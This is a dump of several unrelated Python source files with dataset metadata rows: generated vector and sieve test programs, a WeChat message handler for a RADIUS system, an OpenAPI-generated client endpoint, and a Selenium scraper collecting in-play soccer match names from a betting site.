items3: [int] = None items4: [int] = None size: int = 0 size2: int = 0 size3: int = 0 size4: int = 0 def __init__(self:"Vector4"): self.items = [0] # Returns current capacity def capacity(self:"Vector4") -> int: return len(self.items) # Returns current capacity def capacity2(self:"Vector4") -> int: return len(self.items) # Returns current capacity def capacity3(self:"Vector4") -> int: return len(self.items) # Returns current capacity def capacity4(self:"Vector4") -> int: return len(self.items) # Increases capacity of vector by one element def increase_capacity(self:"Vector4") -> int: self.items = self.items + [0] return self.capacity() # Increases capacity of vector by one element def increase_capacity2(self:"Vector4") -> int: self.items = self.items + [0] return self.capacity() # Increases capacity of vector by one element def increase_capacity3(self:"Vector4") -> int: self.items = self.items + [0] return self.capacity() # Increases capacity of vector by one element def increase_capacity4(self:"Vector4") -> int: self.items = self.items + [0] return self.capacity() # Appends one item to end of vector def append(self:"Vector4", item: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends one item to end of vector def append2(self:"Vector4", item: int, item2: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends one item to end of vector def append3(self:"Vector4", item: int, item2: int, item3: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends one item to end of vector def append4(self:"Vector4", item: int, item2: int, item3: int, item4: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends many items to end of vector def append_all(self:"Vector4", new_items: [int]) -> object: item:int = 0 for item in new_items: self.append(item) # Appends many items to end of vector def append_all2(self:"Vector4", new_items: [int], new_items2: [int]) -> object: item:int = 0 item2:int = 0 for item in new_items: self.append(item) # Appends many items to end of vector def append_all3(self:"Vector4", new_items: [int], new_items2: [int], new_items3: [int]) -> object: item:int = 0 item2:int = 0 item3:int = 0 for item in new_items: self.append(item) # Appends many items to end of vector def append_all4(self:"Vector4", new_items: [int], new_items2: [int], new_items3: [int], new_items4: [int]) -> object: item:int = 0 item2:int = 0 item3:int = 0 item4:int = 0 for item in new_items: self.append(item) # Removes an item from the middle of vector def remove_at(self:"Vector4", idx: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Removes an item from the middle of vector def remove_at2(self:"Vector4", idx: int, idx2: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Removes an item from the middle of vector def remove_at3(self:"Vector4", idx: int, idx2: int, idx3: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Removes an item from the middle of vector def remove_at4(self:"Vector4", idx: int, idx2: int, idx3: int, idx4: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Retrieves an item at a given index def get(self:"Vector4", idx: int) -> int: return self.items[idx] # Retrieves an item at a given index def get2(self:"Vector4", idx: int, idx2: int) -> int: return self.items[idx] # Retrieves an item at a given index def get3(self:"Vector4", idx: int, idx2: int, idx3: int) -> int: return self.items[idx] # Retrieves an item at a given index def get4(self:"Vector4", idx: int, idx2: int, idx3: int, idx4: int) -> int: return self.items[idx] # Retrieves the current size of the vector def length(self:"Vector4") -> int: return self.size # Retrieves the current size of the vector def length2(self:"Vector4") -> int: return self.size # Retrieves the current size of the vector def length3(self:"Vector4") -> int: return self.size # Retrieves the current size of the vector def length4(self:"Vector4") -> int: return self.size # A resizable list of integers class Vector5(object): items: [int] = None items2: [int] = None items3: [int] = None items4: [int] = None items5: [int] = None size: int = 0 size2: int = 0 size3: int = 0 size4: int = 0 size5: int = 0 def __init__(self:"Vector5"): self.items = [0] # Returns current capacity def capacity(self:"Vector5") -> int: return len(self.items) # Returns current capacity def capacity2(self:"Vector5") -> int: return len(self.items) # Returns current capacity def capacity3(self:"Vector5") -> int: return len(self.items) # Returns current capacity def capacity4(self:"Vector5") -> int: return len(self.items) # Returns current capacity def capacity5(self:"Vector5") -> int: return len(self.items) # Increases capacity of vector by one element def increase_capacity(self:"Vector5") -> int: self.items = self.items + [0] return self.capacity() # Increases capacity of vector by one element def increase_capacity2(self:"Vector5") -> int: self.items = self.items + [0] return self.capacity() # Increases capacity of vector by one element def increase_capacity3(self:"Vector5") -> int: self.items = self.items + [0] return self.capacity() # Increases capacity of vector by one element def increase_capacity4(self:"Vector5") -> int: self.items = self.items + [0] return self.capacity() # Increases capacity of vector by one element def increase_capacity5(self:"Vector5") -> int: self.items = self.items + [0] return self.capacity() # Appends one item to end of vector def append(self:"Vector5", item: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends one item to end of vector def append2(self:"Vector5", item: int, item2: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends one item to end of vector def append3(self:"Vector5", item: int, item2: int, item3: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends one item to end of vector def append4(self:"Vector5", item: int, item2: int, item3: int, item4: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends one item to end of vector def append5(self:"Vector5", item: int, item2: int, item3: int, item4: int, item5: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends many items to end of vector def append_all(self:"Vector5", new_items: [int]) -> object: item:int = 0 for item in new_items: self.append(item) # Appends many items to end of vector def append_all2(self:"Vector5", new_items: [int], new_items2: [int]) -> object: item:int = 0 item2:int = 0 for item in new_items: self.append(item) # Appends many items to end of vector def append_all3(self:"Vector5", new_items: [int], new_items2: [int], new_items3: [int]) -> object: item:int = 0 item2:int = 0 item3:int = 0 for item in new_items: self.append(item) # Appends many items to end of vector def append_all4(self:"Vector5", new_items: [int], new_items2: [int], new_items3: [int], new_items4: [int]) -> object: item:int = 0 item2:int = 0 item3:int = 0 item4:int = 0 for item in new_items: self.append(item) # Appends many items to end of vector def append_all5(self:"Vector5", new_items: [int], new_items2: [int], new_items3: [int], new_items4: [int], new_items5: [int]) -> object: item:int = 0 item2:int = 0 item3:int = 0 item4:int = 0 item5:int = 0 for item in new_items: self.append(item) # Removes an item from the middle of vector def remove_at(self:"Vector5", idx: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Removes an item from the middle of vector def remove_at2(self:"Vector5", idx: int, idx2: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Removes an item from the middle of vector def remove_at3(self:"Vector5", idx: int, idx2: int, idx3: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Removes an item from the middle of vector def remove_at4(self:"Vector5", idx: int, idx2: int, idx3: int, idx4: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Removes an item from the middle of vector def remove_at5(self:"Vector5", idx: int, idx2: int, idx3: int, idx4: int, idx5: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Retrieves an item at a given index def get(self:"Vector5", idx: int) -> int: return self.items[idx] # Retrieves an item at a given index def get2(self:"Vector5", idx: int, idx2: int) -> int: return self.items[idx] # Retrieves an item at a given index def get3(self:"Vector5", idx: int, idx2: int, idx3: int) -> int: return self.items[idx] # Retrieves an item at a given index def get4(self:"Vector5", idx: int, idx2: int, idx3: int, idx4: int) -> int: return self.items[idx] # Retrieves an item at a given index def get5(self:"Vector5", idx: int, idx2: int, idx3: int, idx4: int, idx5: int) -> int: return self.items[idx] # Retrieves the current size of the vector def length(self:"Vector5") -> int: return self.size # Retrieves the current size of the vector def length2(self:"Vector5") -> int: return self.size # Retrieves the current size of the vector def length3(self:"Vector5") -> int: return self.size # Retrieves the current size of the vector def length4(self:"Vector5") -> int: return self.size # Retrieves the current size of the vector def length5(self:"Vector5") -> int: return self.size # A faster (but more memory-consuming) implementation of vector class DoublingVector(Vector): doubling_limit:int = 1000 # Overriding to do fewer resizes def increase_capacity(self:"DoublingVector") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # A faster (but more memory-consuming) implementation of vector class DoublingVector2(Vector): doubling_limit:int = 1000 doubling_limit2:int = 1000 # Overriding to do fewer resizes def increase_capacity(self:"DoublingVector2") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # Overriding to do fewer resizes def increase_capacity2(self:"DoublingVector2") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # A faster (but more memory-consuming) implementation of vector class DoublingVector3(Vector): doubling_limit:int = 1000 doubling_limit2:int = 1000 doubling_limit3:int = 1000 # Overriding to do fewer resizes def increase_capacity(self:"DoublingVector3") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # Overriding to do fewer resizes def increase_capacity2(self:"DoublingVector3") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # Overriding to do fewer resizes def increase_capacity3(self:"DoublingVector3") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # A faster (but more memory-consuming) implementation of vector class DoublingVector4(Vector): doubling_limit:int = 1000 doubling_limit2:int = 1000 doubling_limit3:int = 1000 doubling_limit4:int = 1000 # Overriding to do fewer resizes def increase_capacity(self:"DoublingVector4") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # Overriding to do fewer resizes def increase_capacity2(self:"DoublingVector4") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # Overriding to do fewer resizes def increase_capacity3(self:"DoublingVector4") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # Overriding to do fewer resizes def increase_capacity4(self:"DoublingVector4") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # A faster (but more memory-consuming) implementation of vector class DoublingVector5(Vector): doubling_limit:int = 1000 doubling_limit2:int = 1000 doubling_limit3:int = 1000 doubling_limit4:int = 1000 doubling_limit5:int = 1000 # Overriding to do fewer resizes def increase_capacity(self:"DoublingVector5") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # Overriding to do fewer resizes def $ID(self:"DoublingVector5") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # Overriding to do fewer resizes def increase_capacity3(self:"DoublingVector5") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # Overriding to do fewer resizes def increase_capacity4(self:"DoublingVector5") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # Overriding to do fewer resizes def increase_capacity5(self:"DoublingVector5") -> int: if (self.capacity() <= self.doubling_limit // 2): self.items = self.items + self.items else: # If doubling limit has been reached, fall back to # standard capacity increases self.items = self.items + [0] return self.capacity() # Makes a vector in the range [i, j) def vrange(i:int, j:int) -> Vector: v:Vector = None v = DoublingVector() while i < j: v.append(i) i = i + 1 return v def vrange2(i:int, j:int, i2:int, j2:int) -> Vector: v:Vector = None v2:Vector = None v = DoublingVector() while i < j: v.append(i) i = i + 1 return v def vrange3(i:int, j:int, i2:int, j2:int, i3:int, j3:int) -> Vector: v:Vector = None v2:Vector = None v3:Vector = None v = DoublingVector() while i < j: v.append(i) i = i + 1 return v def vrange4(i:int, j:int, i2:int, j2:int, i3:int, j3:int, i4:int, j4:int) -> Vector: v:Vector = None v2:Vector = None v3:Vector = None v4:Vector = None v = DoublingVector() while i < j: v.append(i) i = i + 1 return v def vrange5(i:int, j:int, i2:int, j2:int, i3:int, j3:int, i4:int, j4:int, i5:int, j5:int) -> Vector: v:Vector = None v2:Vector = None v3:Vector = None v4:Vector = None v5:Vector = None v = DoublingVector() while i < j: v.append(i) i = i + 1 return v # Sieve of Eratosthenes (not really) def sieve(v:Vector) -> object: i:int = 0 j:int = 0 k:int = 0 while i < v.length(): k = v.get(i) j = i + 1 while j < v.length(): if v.get(j) % k == 0: v.remove_at(j) else: j = j + 1 i = i + 1 def sieve2(v:Vector, v2:Vector) -> object: i:int = 0 i2:int = 0 j:int = 0 j2:int = 0 k:int = 0 k2:int = 0 while i < v.length(): k = v.get(i) j = i + 1 while j < v.length(): if v.get(j) % k == 0: v.remove_at(j) else: j = j + 1 i = i + 1 def sieve3(v:Vector, v2:Vector, v3:Vector) -> object: i:int = 0 i2:int = 0 i3:int = 0 j:int = 0 j2:int = 0 j3:int = 0 k:int = 0 k2:int = 0 k3:int = 0 while i < v.length(): k = v.get(i) j = i + 1 while j < v.length(): if v.get(j) % k == 0: v.remove_at(j) else: j = j + 1 i = i + 1 def sieve4(v:Vector, v2:Vector, v3:Vector, v4:Vector) -> object: i:int = 0 i2:int = 0 i3:int = 0 i4:int = 0 j:int = 0 j2:int = 0 j3:int = 0 j4:int = 0 k:int = 0 k2:int = 0 k3:int = 0 k4:int = 0 while i < v.length(): k = v.get(i) j = i + 1 while j < v.length(): if v.get(j) % k == 0: v.remove_at(j) else: j = j + 1 i = i + 1 def sieve5(v:Vector, v2:Vector, v3:Vector, v4:Vector, v5:Vector) -> object: i:int = 0 i2:int = 0 i3:int = 0 i4:int = 0 i5:int = 0 j:int = 0 j2:int = 0 j3:int = 0 j4:int = 0 j5:int = 0 k:int = 0 k2:int = 0 k3:int = 0 k4:int = 0 k5:int = 0 while i < v.length(): k = v.get(i) j = i + 1 while j < v.length(): if v.get(j) % k == 0: v.remove_at(j) else: j = j + 1 i = i + 1 # Input parameter n:int = 50 n2:int = 50 n3:int = 50 n4:int = 50 n5:int = 50 # Data v:Vector = None v2:Vector = None v3:Vector = None v4:Vector = None v5:Vector = None i:int = 0 i2:int = 0 i3:int = 0 i4:int = 0 i5:int = 0 # Crunch v = vrange(2, n) v2 = vrange(2, n) v3 = vrange(2, n) v4 = vrange(2, n) v5 = vrange(2, n) sieve(v) # Print while i < v.length(): print(v.get(i)) i = i + 1
[ "647530+Virtlink@users.noreply.github.com" ]
647530+Virtlink@users.noreply.github.com
79cd9eeb476d0cee73e718951128251dd11d8676
df44affab179c2546fb3e0d1dc29eebcfdf51c1c
/toughradius/modules/mps/mps_handler.py
f405a4e7c770fd90e9e92adcaf1582a124afe6a7
[]
no_license
sailorhdx/taurusradius
121c508e7faffaddcd5326d2b6d3710eaf0ed08e
92d30820611a0c9102ae41713ea3c35437a3c6ee
refs/heads/master
2021-01-22T02:28:31.543338
2017-06-17T02:15:33
2017-06-17T02:15:33
92,362,551
0
0
null
null
null
null
UTF-8
Python
false
false
4,079
py
#!/usr/bin/env python # coding=utf-8 import cyclone.web from toughradius.toughlib import logger from toughradius.toughlib import utils from toughradius.toughlib import logger from toughradius.toughlib.permit import permit from hashlib import sha1 from cyclone.util import ObjectDict from cyclone.options import options from twisted.internet import defer from toughradius.common import wxrouter from toughradius.modules.mps.base import BaseHandler from toughradius.modules import models from wechat_sdk import WechatBasic from wechat_sdk import WechatConf import functools @permit.route('/') class HelloHandler(BaseHandler): def get(self): self.write('ok') @permit.route('/MP_verify_Z677kYAea8jAjpEn.txt') class VerifyHandler(BaseHandler): def get(self): self.write('Z677kYAea8jAjpEn') @permit.route('/mps') class IndexHandler(BaseHandler): """ 微信消息主要处理控制器 """ WechatConfCachekey = 'toughee.wechat.conf.cache' def check_xsrf_cookie(self): """ 对于微信消息不做加密cookie处理 """ pass def get_error_html(self, status_code = 500, **kwargs): """ 定制微信消息错误返回 """ self.set_header('Content-Type', 'application/xml;charset=utf-8') self.write(self.wechat.response_text(u'回复h查看帮助。')) self.finish() def check_signature(self): """ 微信消息验签处理 """ signature = self.get_argument('signature', '') timestamp = self.get_argument('timestamp', '') nonce = self.get_argument('nonce', '') return self.wechat.check_signature(signature=signature, timestamp=timestamp, nonce=nonce) def init_wechat(self): try: wechat_conf_cache = self.cache.get(self.WechatConfCachekey) if not wechat_conf_cache: token = self.get_param_value('mps_token') appid = self.get_param_value('mps_appid') appsecret = self.get_param_value('mps_apisecret') encrypt_mode = self.get_param_value('mps_encrypt_mode', 'normal') encoding_aes_key = self.get_param_value('mps_encoding_aes_key', '') wechat_conf_cache = dict(token=token, appid=appid, appsecret=appsecret, encrypt_mode=encrypt_mode, encoding_aes_key=encoding_aes_key) self.cache.set(self.WechatConfCachekey, wechat_conf_cache, expire=300) _c = wechat_conf_cache wechat_conf = WechatConf(token=_c['token'], appid=_c['appid'], appsecret=_c['appsecret'], encrypt_mode=_c['encrypt_mode'], encoding_aes_key=_c['encoding_aes_key'], access_token_getfunc=functools.partial(self.mpsapi.get_access_token, _c['appid'], _c['appsecret']), access_token_setfunc=self.mpsapi.set_access_token) self.wechat = WechatBasic(conf=wechat_conf) except Exception as err: logger.exception(err) def get(self): self.init_wechat() echostr = self.get_argument('echostr', '') if self.check_signature(): self.write(echostr) logger.info('Signature check success.') else: logger.error('Signature check failed.') @defer.inlineCallbacks def post(self): """ 微信消息处理 """ self.init_wechat() if not self.check_signature(): logger.error('Signature check failed.') return try: self.set_header('Content-Type', 'application/xml;charset=utf-8') body = self.request.body self.wechat.parse_data(body) msg = self.wechat.get_message() logger.debug(u'message type %s from %s with %s' % (self.wechat.message.type, self.wechat.message.source, body.decode('utf-8'))) response = yield wxrouter.dispatch(msg, gdata=self.application, wechat=self.wechat) logger.debug(u'Replied to %s with "%s"' % (self.wechat.message.source, response)) self.write(response) except Exception as err: logger.exception(err) self.write('error')
[ "sailorhdx@hotmail.com" ]
sailorhdx@hotmail.com
14945d7b57c4ff2d8fed1b2f4dab066b14139eba
e3040a2e23a856e319e02037dc6baf3882c796b9
/samples/openapi3/client/3_0_3_unit_test/python/unit_test_api/paths/response_body_post_nested_allof_to_check_validation_semantics_response_body_for_content_types/post.py
e29ea0fbc5326b35c7b6a6444df16c2c0b1597cf
[ "Apache-2.0" ]
permissive
mishin/openapi-generator
2ed2e0739c0cc2a627c25191d5898071d9294036
3ed650307513d552404f3d76487f3b4844acae41
refs/heads/master
2023-06-10T03:01:09.612130
2022-10-14T08:29:15
2022-10-14T08:29:15
271,080,285
0
0
Apache-2.0
2023-05-30T02:01:25
2020-06-09T18:29:41
Java
UTF-8
Python
false
false
8,103
py
# coding: utf-8 """ Generated by: https://openapi-generator.tech """ from dataclasses import dataclass import typing_extensions import urllib3 from urllib3._collections import HTTPHeaderDict from unit_test_api import api_client, exceptions from datetime import date, datetime # noqa: F401 import decimal # noqa: F401 import functools # noqa: F401 import io # noqa: F401 import re # noqa: F401 import typing # noqa: F401 import typing_extensions # noqa: F401 import uuid # noqa: F401 import frozendict # noqa: F401 from unit_test_api import schemas # noqa: F401 from unit_test_api.model.nested_allof_to_check_validation_semantics import NestedAllofToCheckValidationSemantics from . import path SchemaFor200ResponseBodyApplicationJson = NestedAllofToCheckValidationSemantics @dataclass class ApiResponseFor200(api_client.ApiResponse): response: urllib3.HTTPResponse body: typing.Union[ SchemaFor200ResponseBodyApplicationJson, ] headers: schemas.Unset = schemas.unset _response_for_200 = api_client.OpenApiResponse( response_cls=ApiResponseFor200, content={ 'application/json': api_client.MediaType( schema=SchemaFor200ResponseBodyApplicationJson), }, ) _status_code_to_response = { '200': _response_for_200, } _all_accept_content_types = ( 'application/json', ) class BaseApi(api_client.Api): @typing.overload def _post_nested_allof_to_check_validation_semantics_response_body_for_content_types_oapg( self, accept_content_types: typing.Tuple[str] = _all_accept_content_types, stream: bool = False, timeout: typing.Optional[typing.Union[int, typing.Tuple]] = None, skip_deserialization: typing_extensions.Literal[False] = ..., ) -> typing.Union[ ApiResponseFor200, ]: ... @typing.overload def _post_nested_allof_to_check_validation_semantics_response_body_for_content_types_oapg( self, accept_content_types: typing.Tuple[str] = _all_accept_content_types, stream: bool = False, timeout: typing.Optional[typing.Union[int, typing.Tuple]] = None, ) -> api_client.ApiResponseWithoutDeserialization: ... @typing.overload def _post_nested_allof_to_check_validation_semantics_response_body_for_content_types_oapg( self, accept_content_types: typing.Tuple[str] = _all_accept_content_types, stream: bool = False, timeout: typing.Optional[typing.Union[int, typing.Tuple]] = None, skip_deserialization: bool = ..., ) -> typing.Union[ ApiResponseFor200, api_client.ApiResponseWithoutDeserialization, ]: ... def _post_nested_allof_to_check_validation_semantics_response_body_for_content_types_oapg( self, accept_content_types: typing.Tuple[str] = _all_accept_content_types, stream: bool = False, timeout: typing.Optional[typing.Union[int, typing.Tuple]] = None, skip_deserialization: bool = False, ): """ :param skip_deserialization: If true then api_response.response will be set but api_response.body and api_response.headers will not be deserialized into schema class instances """ used_path = path.value _headers = HTTPHeaderDict() # TODO add cookie handling if accept_content_types: for accept_content_type in accept_content_types: _headers.add('Accept', accept_content_type) response = self.api_client.call_api( resource_path=used_path, method='post'.upper(), headers=_headers, stream=stream, timeout=timeout, ) if skip_deserialization: api_response = api_client.ApiResponseWithoutDeserialization(response=response) else: response_for_status = _status_code_to_response.get(str(response.status)) if response_for_status: api_response = response_for_status.deserialize(response, self.api_client.configuration) else: api_response = api_client.ApiResponseWithoutDeserialization(response=response) if not 200 <= response.status <= 299: raise exceptions.ApiException(api_response=api_response) return api_response class PostNestedAllofToCheckValidationSemanticsResponseBodyForContentTypes(BaseApi): # this class is used by api classes that refer to endpoints with operationId fn names @typing.overload def post_nested_allof_to_check_validation_semantics_response_body_for_content_types( self, accept_content_types: typing.Tuple[str] = _all_accept_content_types, stream: bool = False, timeout: typing.Optional[typing.Union[int, typing.Tuple]] = None, skip_deserialization: typing_extensions.Literal[False] = ..., ) -> typing.Union[ ApiResponseFor200, ]: ... @typing.overload def post_nested_allof_to_check_validation_semantics_response_body_for_content_types( self, accept_content_types: typing.Tuple[str] = _all_accept_content_types, stream: bool = False, timeout: typing.Optional[typing.Union[int, typing.Tuple]] = None, ) -> api_client.ApiResponseWithoutDeserialization: ... @typing.overload def post_nested_allof_to_check_validation_semantics_response_body_for_content_types( self, accept_content_types: typing.Tuple[str] = _all_accept_content_types, stream: bool = False, timeout: typing.Optional[typing.Union[int, typing.Tuple]] = None, skip_deserialization: bool = ..., ) -> typing.Union[ ApiResponseFor200, api_client.ApiResponseWithoutDeserialization, ]: ... def post_nested_allof_to_check_validation_semantics_response_body_for_content_types( self, accept_content_types: typing.Tuple[str] = _all_accept_content_types, stream: bool = False, timeout: typing.Optional[typing.Union[int, typing.Tuple]] = None, skip_deserialization: bool = False, ): return self._post_nested_allof_to_check_validation_semantics_response_body_for_content_types_oapg( accept_content_types=accept_content_types, stream=stream, timeout=timeout, skip_deserialization=skip_deserialization ) class ApiForpost(BaseApi): # this class is used by api classes that refer to endpoints by path and http method names @typing.overload def post( self, accept_content_types: typing.Tuple[str] = _all_accept_content_types, stream: bool = False, timeout: typing.Optional[typing.Union[int, typing.Tuple]] = None, skip_deserialization: typing_extensions.Literal[False] = ..., ) -> typing.Union[ ApiResponseFor200, ]: ... @typing.overload def post( self, accept_content_types: typing.Tuple[str] = _all_accept_content_types, stream: bool = False, timeout: typing.Optional[typing.Union[int, typing.Tuple]] = None, ) -> api_client.ApiResponseWithoutDeserialization: ... @typing.overload def post( self, accept_content_types: typing.Tuple[str] = _all_accept_content_types, stream: bool = False, timeout: typing.Optional[typing.Union[int, typing.Tuple]] = None, skip_deserialization: bool = ..., ) -> typing.Union[ ApiResponseFor200, api_client.ApiResponseWithoutDeserialization, ]: ... def post( self, accept_content_types: typing.Tuple[str] = _all_accept_content_types, stream: bool = False, timeout: typing.Optional[typing.Union[int, typing.Tuple]] = None, skip_deserialization: bool = False, ): return self._post_nested_allof_to_check_validation_semantics_response_body_for_content_types_oapg( accept_content_types=accept_content_types, stream=stream, timeout=timeout, skip_deserialization=skip_deserialization )
[ "noreply@github.com" ]
mishin.noreply@github.com
2d47e6ddf0deb907fbf5012c4bfa98b8254cd612
1f7d287ef90041e20468513a26a39e1f3d221289
/Level-3/s10/guvi-L3-s10-py04.py
83b0e117b15bcc6117d665507367990e65147eb9
[]
no_license
ksthacker/python
d787d69f954c0e9b59b0cc96a8b8fc5c0594d8a0
3a3775e1b9349e313f8c96ea11eade54a7e9bf54
refs/heads/master
2021-04-27T16:32:40.923316
2019-08-21T04:50:22
2019-08-21T04:50:22
122,303,461
0
17
null
2019-10-03T14:59:51
2018-02-21T07:09:32
Python
UTF-8
Python
false
false
113
py
import sys,string L = input().split() #print(L) L2 = [ x[::-1] for x in L] print(*L2)
[ "noreply@github.com" ]
ksthacker.noreply@github.com
d0d1f9a841d791ae8e639e2c66b270b9976eaf6e
d1b3c9e1055bc759f5fba8379570ddc20cf4caa5
/main_thread.py
6ab3d3bc3e6d2ad5de46671370e69f0262faf70a
[]
no_license
woolpeeker/bet365_data
309b38245c77d9f9387c7d946dbb8410c4c84bc6
4cb920095f98faf220c74125d39ccdfe84229ee3
refs/heads/master
2020-03-29T22:48:40.234365
2018-12-14T03:41:42
2018-12-14T03:41:42
150,441,477
2
1
null
null
null
null
UTF-8
Python
false
false
4,950
py
from selenium.common.exceptions import TimeoutException from selenium import webdriver from selenium.webdriver.firefox.options import Options import datetime import time import traceback import os import multiprocessing as mp from Crawler import Crawler from utils import get_logger NT = 2 class MainThread(Crawler): def __init__(self, name='MainThead'): self.name = name self.logger=get_logger(name=self.name) super(MainThread, self).__init__(name) self.out_queue = mp.Queue(maxsize=1000) self.browserPID = mp.Value('i', 0) self.process = mp.Process(target=self.run, name=name) self.process.daemon = True self.process.start() def run(self): self.logger.info('Mainthread start') while True: try: self.work_loop() except: self.logger.error(traceback.format_exc()) finally: self._close() self.logger.info('work_loop restarting...') def work_loop(self): self._open() while True: self.logger.info('work_loop start.') if not self.click_soccer(): self.logger.info('No Soccer Section. Waiting 3 min.') time.sleep(3 * 60) continue self.wait4elem('//span[@class="ipo-TeamStack_TeamWrapper"]') teams_league = self._get_team_names() self.logger.info('Found %d match' % len(teams_league)) self.logger.info('teams_leagues:%s' % teams_league) for elem in teams_league: self.out_queue.put_nowait(elem) self.logger.info('Put elem to quenes. Sleep 3 minutes.') time.sleep(60 * 3) def _open(self): self.logger.debug('function _open') options = Options() options.headless = True self.browser = webdriver.Firefox(options=options) with self.browserPID.get_lock(): self.browserPID.value = self.browser.service.process.pid self.logger.info('browserPID=%d'%self.browserPID.value) self.browser.get('https://www.bet365.com/en') self.init_time = datetime.datetime.now() self.wait4elem('//div[@id="dBlur"][contains(@style,"hidden;")]', timeout=300) # click the welcome sports banner and inplay section entry_banner = self.browser.find_element_by_xpath('//div[@id="dv1"]') entry_banner.click() inplay_banner = self.wait4elem('//a[@class="hm-BigButton "][text()="In-Play"]', timeout=300) inplay_banner.click() self.wait4elem('//div[contains(@class,"ipo-Fixture_ScoreDisplay")]', timeout=300) def _close(self): self.logger.warning('browser close') try: self.browser.quit() except Exception as e: self.logger.error('browser close fail.') self.logger.error(traceback.format_exc()) def _get_team_names(self): # team_names is a list that each elem is a tuple represent a match # (list of team, league name) result = [] leagues = self.xpaths('//div[contains(@class,"ipo-CompetitionButton_NameLabel ")]/../..') for league in leagues: league_name=self.xpaths('.//div[contains(@class, "ipo-CompetitionButton_NameLabel")]',section=league)[0].text match_list = self.xpaths('.//div[contains(@class,"ipo-Fixture_ScoreDisplay")]',section=league) if not match_list: self.logger.warning('No match in %s' % league_name) continue for m in match_list: team_names = self.xpaths('.//span[contains(@class,"ipo-TeamStack_TeamWrapper")]', m) if not team_names: self.logger.warning('No team in %s' % league_name) continue team_names = tuple([x.text for x in team_names][:2]) result.append((team_names, league_name)) return result def click_overview(self): overview = self.wait4elem('//div[contains(@class,"ip-ControlBar_BBarItem ")]') overview.click() self.wait4elem('//div[contains(@class,"ipo-Fixture_ScoreDisplay")]') def click_soccer(self): self.logger.info('click soccer') retry_times=2 for i in range(retry_times): try: self.click_overview() soccer_button = self.wait4elem('//div[@class="ipo-ClassificationBarButtonBase_Label "][text()="Soccer"]') soccer_button.click() return True except TimeoutException as e: self.logger.warning('TimeOut: click soccer.') if i<retry_times: self.logger.warning('refresh and retry') self.browser.refresh() else: self.logger.warning('excced retry times') return False
[ "luojiapeng1993@gmail.com" ]
luojiapeng1993@gmail.com
7b6da9e011a8e2ebc5bce6257356735f68ba91dd
2a57c1a6d27304f80975bdef51ec398a690f0b2d
/lib/jubatest/__init__.py
e6af2fcc1460788bb31272b888df37d452a7422b
[]
no_license
kmaehashi/jubatest
